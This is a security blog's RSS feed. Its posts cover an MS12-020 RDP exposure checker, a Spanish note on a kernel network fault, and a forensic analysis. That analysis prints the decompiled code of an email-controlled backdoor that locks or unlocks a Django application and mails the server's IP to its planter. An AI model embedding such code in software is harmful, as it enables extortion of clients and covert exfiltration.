<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; linux</title>
	<atom:link href="http://security-dojo.com/categorias/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Sending your logs to  /dev/null since 1976</description>
	<lastBuildDate>Mon, 26 Mar 2012 20:55:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ms12-020 saga: PoC exploit on pastebin and online rdp vulnerability scan: rdpcheck.com</title>
		<link>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/</link>
		<comments>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 03:57:21 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[rdp]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=179</guid>
		<description><![CDATA[So then again, rolling and checking istherdpexploitoutyet.com found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site rdpcheck.com they scan you back to check if you are vulnerable to RDP [...]]]></description>
			<content:encoded><![CDATA[<p>So then again, rolling and checking <a href="http://istherdpexploitoutyet.com/">istherdpexploitoutyet.com</a> found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site <a href="http://rdpcheck.com/">rdpcheck.com</a> they scan you back to check if you are vulnerable to RDP exploit, they even check you don&#8217;t use disposable addresses which is very interesting and cool.</p>
<p>So I put my gmail address and click test, I don&#8217;t have any RDP at my home address but I wanted to see how they do it with closed ports, then I&#8217;ll setup an exploitable RDP and let them scan me :) and update this post! </p>
<p>After you click on test you will receive something on the email like this (IP Address removed):</p>
<blockquote><p>
IP address tested: XXX.XXX.XXX.X<br />
Time of test: Sat, 24 Mar 2012 14:50:38 EST<br />
Result: RDP Port Filtered (Inconclusive) </p>
<p>Hmmm&#8230; We were unable to determine if we could access Remote Desktop Protocol from the Internet on it&#8217;s standard port. When we tested there was no response. This generally means that there is a firewall configured to be invisible &#8211; which is a good thing &#8211; but it can also be caused by network issues, ISP filtering, etc.<br />
Because of this we cannot make a confident assessment of your exposure. </p>
<p>To err on the safe side you should assume that this means that your network is potentially vulnerable to exploitation of the MS12-020 RDP vulnerability from the Internet and is likely to contain unpatched systems.<br />
Here&#8217;s a few things you can do&#8230;</p>
<p>Patch ALL of your Windows systems with the MS12-020 patch from Microsoft. To do this simply run Windows Update until it no longer suggests updates, or you can manually download Microsoft security bulletin and patches from Microsoft&#8217;s advisory <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a>.</p>
<p>Check that you&#8217;ve patched ALL of your systems. Not just the Internet facing ones. When this vulnerability gets turned into an self-propagating RDP worm you&#8217;ll thank us for this advice.</p>
<p>Close off port Remote Desktop Services (RDP) to the Internet. RDP runs on TCP port 3389. If this means nothing to you, ask your I.T. guy.</p>
<p>Disable RDP on machines that don&#8217;t need it. RDP is fantastically useful, but if you don&#8217;t need it, turn it off.</p>
<p>Give your I.T. guy a smack on the wrist and tell him/her to stop running Remote Desktop Protocol on the Internet. This is a risky practice, superbug or no superbug, because it gives full access to a machine. Use a VPN for remote access instead.</p>
<p>From Microsoft: &#8220;Consider how you might harden your environment against unauthenticated, attacker-initiated RDP connections.&#8221; Some of the tips here are a part of this general advice. If you need more help with this get in touch via our contact form.</p>
<p>Read, understand and action the advice from Microsoft <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a> and <a href="http://blogs.technet.com/b/srd/archive/2012/03/13/cve-2012-0002-a-closer-look-at-ms12-020-s-critical-issue.aspx">here</a>. If none of it makes sense to you, talk to your I.T. guy or get in touch via our contact form.
</p></blockquote>
<p>This is pretty cool and useful at least for the average joe :)</p>
<p>I still wonder &#8230; IS THE RDP EXPLOIT OUT YET!?!?!?!? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Your worst enemy: The rogue consultant/admin] py_util.pyc LOCK/UNLOCK backdoor over email</title>
		<link>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/</link>
		<comments>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 01:58:05 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[ethics]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=169</guid>
		<description><![CDATA[I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case. The problem raised when as [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case.</p>
<p>The problem raised when as soon as they took over the network within the hour a critical system for the business stopped working, this was more than suspicious as before in another business that was also admin by this person before had some files erased and configurations lost when it was transitioned to another admin because of lack of administration and ethics on the admin part.</p>
<p>First I tried to decompile the python files form the Django server, this was because obviously all the servers where blocked but for port 80. My friend innocently forgot to block all access to the internet as he thought that was not that hardcore important (#FAIL) and he didn&#8217;t really think this person (who know actually is consulting for a major bank in Mexico) would backdoor and do this type of stuff.</p>
<p>The first thing was to run it on strings to figure out what is there (credentials and paths removed for security reasons):</p>
<blockquote><p>
fsckOSX:~ nahual$ strings py_util.pyc<br />
EmailMultiAlternatives(<br />
MIMEImage(<br />
datetimeN(<br />
Parsers<br />
fxxxxxxxxxxo@gmail.comt<br />
mxxxgyyczzt<br />
LOCKSYSTEMt<br />
UNLOCKSYSTEMt<br />
GETIPs$<br />
/home/xxxxxxx/svn/yyyyyyyy/.python.logc<br />
pop.gmail.comi<br />
Subjectt<br />
bloqueandot<br />
desbloqueandot8<br />
2baa224d0a3515912218fd88c1dd9d90d347c451c67811ac6240f4a1(<br />
poplibt<br />
POP3_SSLt<br />
usert<br />
pass_t<br />
passwdt<br />
Exceptiont<br />
lent<br />
listt<br />
ranget<br />
retrt<br />
joinR<br />
parsestrt<br />
LOCKt<br />
opent<br />
file_logt<br />
writet<br />
closet<br />
UNLOCKR<br />
check_ipt<br />
quit(<br />
errt<br />
numerot<br />
responset<br />
headerLinest<br />
bytest<br />
mensajet<br />
emailt<br />
subjectt<br />
/home/xxxxxxx/svn/yyyyyyy/../yyyyyyy/py_util.pyt<br />
check_locker<br />
setup_environ(<br />
BeautifulSoups<br />
hxxxxxxx3@gmail.comR</p>
<p>http://www.cualesmiip.comt</p>
<p>divt<br />
miipt<br />
IP del servidort<br />
from_emails<br />
text/html(<br />
urllib2t<br />
django.core.managementR/<br />
xml.dom.minidomR0<br />
settingst<br />
urlopent<br />
readt<br />
findt<br />
findAllR<br />
DEFAULT_FROM_EMAILt<br />
attach_alternativet<br />
send(<br />
xmlR0<br />
listmailt<br />
contentt<br />
feedR&#038;<br />
html_contentR,<br />
msg(<br />
/home/xxxxxxx/svn/yyyyyy/../yyyyyy/py_util.pyR<br />
__main__(<br />
django.core.mailR<br />
email.MIMEImageR<br />
smtplibR<br />
email.ParserR<br />
__name__(<br />
/home/xxxxxxxx/svn/yyyyyy/../yyyyy/py_util.pyt<br />
<module><br />
fsckOSX:~ nahual$
</p></blockquote>
<p>py_util.pyc wouldn&#8217;t fastly decompile, thus after putting it into IDA and other nice decompile this is what was found (credentials removed for security reasons):</p>
<p><code><br />
from django.core.mail import EmailMultiAlternatives<br />
from email.MIMEImage import MIMEImage<br />
from datetime import datetime<br />
import smtplib<br />
import poplib<br />
from email.Parser import Parser</p>
<p>user = 'xxxxxx'<br />
passwd = 'xxxxxxxx'<br />
LOCK = 'LOCKSYSTEM'<br />
UNLOCK = 'UNLOCKSYSTEM'<br />
GETIP = 'GETIP'<br />
file_log = '/home/xxxxx/svn/yyyyyy/.python.log'</p>
<p>def check_locker():<br />
    try:<br />
        m = poplib.POP3_SSL('pop.gmail.com', 995)<br />
        m.user(user)<br />
        m.pass_(passwd)<br />
    except Exception, err:<br />
        print err<br />
    else:<br />
        numero = len(m.list()[1])<br />
        for i in range(numero):<br />
            (response, headerLines, bytes) = m.retr(i + 1)<br />
            mensaje = '\n'.join(headerLines)<br />
            p = Parser()<br />
            email = p.parsestr(mensaje)<br />
            subject = email['Subject']<br />
            if (subject == LOCK):<br />
                print 'bloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('')<br />
                f.close()<br />
            elif (subject == UNLOCK):<br />
                print 'desbloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('xxxxxxxxxxxxx')<br />
                f.close()<br />
            elif (subject == GETIP):<br />
                check_ip()<br />
        m.quit()</p>
<p>def check_ip():<br />
    import urllib2<br />
    from django.core.management import setup_environ<br />
    import xml.dom.minidom<br />
    from BeautifulSoup import BeautifulSoup<br />
    import settings<br />
    setup_environ(settings)<br />
    listmail = ['xxxxxxxx@gmail.com']<br />
    content = ''<br />
    feed = urllib2.urlopen('http://www.google.com')<br />
    response = BeautifulSoup(feed.read())<br />
    html_content = response.find('div', {'id': 'miip'}).findAll('b')[0]<br />
    subject = 'IP del servidor'<br />
    msg = EmailMultiAlternatives(subject, content, to=listmail, from_email=settings.DEFAULT_FROM_EMAIL)<br />
    msg.attach_alternative(html_content, 'text/html')<br />
    msg.send()<br />
if (__name__ == '__main__'):<br />
    check_ip()<br />
</code></p>
<p>As you can see the backdoor is pretty small and &#8220;efficient&#8221;, it checks a gmail account, if an email to that account is sent with the LOCKSYSTEM it will automatically shutdown the application, and you can of course unlock the system with another email.</p>
<p>This might be coded because they thought maybe the client wouldn&#8217;t pay them? why would he code something like this without the client consent? no documentation was delivered from the code, and as soon as the admin/developer was let go, the system was shutdown within the hour, sounds to me more like a blackmail function than a current admin function as it only turns off the system, no backups anything.</p>
<p>This makes me wonder why this would be created? or executed? I thought about writing a fast and ugly rule to make sure if anything happened like this again at least the snorts would be alerted and told my friend to lock down the firewall rules, but this lack of ethics is overwhelming, I wonder what the bank would think of him being used to backdoor stuff to keep a foot in the door? jeeeeezzzzz</p>
<p>Snort rule would not really work as it&#8217;s doing pop3 over SSL, but then blocking port 993 should lock him out, still &#8230; why people do this? don&#8217;t they understand this lack of ethics is preposterous? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Problemas en mi Dell 640m con Ubuntu en kernel 2.6.24-23-generic</title>
		<link>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/</link>
		<comments>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 18:07:09 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[linux dell 640m ubuntu kernel problema broadcom]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=42</guid>
		<description><![CDATA[Bueno mi Dell 640m tiene una tarjeta de red broadcom (lo recuerdo por la flojera de tener que bajar el driver cuando instalo windows para jugar) y nunca me habia pasado nada interesante sobre el ubuntu que uso para las pruebas de volumen y desarrollo de aplicaciones. Sin embargo hice el update y luego apague [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno mi Dell 640m tiene una tarjeta de red broadcom (lo recuerdo por la flojera de tener que bajar el driver cuando instalo windows para jugar) y nunca me habia pasado nada interesante sobre el ubuntu que uso para las pruebas de volumen y desarrollo de aplicaciones.</p>
<p>Sin embargo hice el update y luego apague la maquina y cambie el disco, y ayer tuve que usar ese disco (pueden ver mi excelente aventura con el disco <a href="http://www.tumamafuemia.org/2009/03/11/cuando-se-es-pendejo/">aqui</a>) y me ocurrio algo muy interesante, perdia muchisimos paquetes pero a intervales medianamente regulares.</p>
<p>Esto me puso a pensar seriamente que fuera el cable, cambie el cable, igual, pense que podria ser el nodo de red, cambie de nodo fue igual de hecho cambie con alguienq ue no tuvo problemas, y luego cambie de OS, boote en Windows XP, me dije &#8220;si esta cosa se conecta hasta un gansito se conecta&#8221; y se conecto sin problemas.</p>
<p>Inicie en el kernel 2.6.24-22-generic y no tuve problemas, que tipo de problemas habra? a verdad no tuve tiempo de debugear pero este fin de semana o hago en el inter si tienen intermitencia bajen una version minima de kernel (de todos modos no le dan shell a nadie y usan grsec no?)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

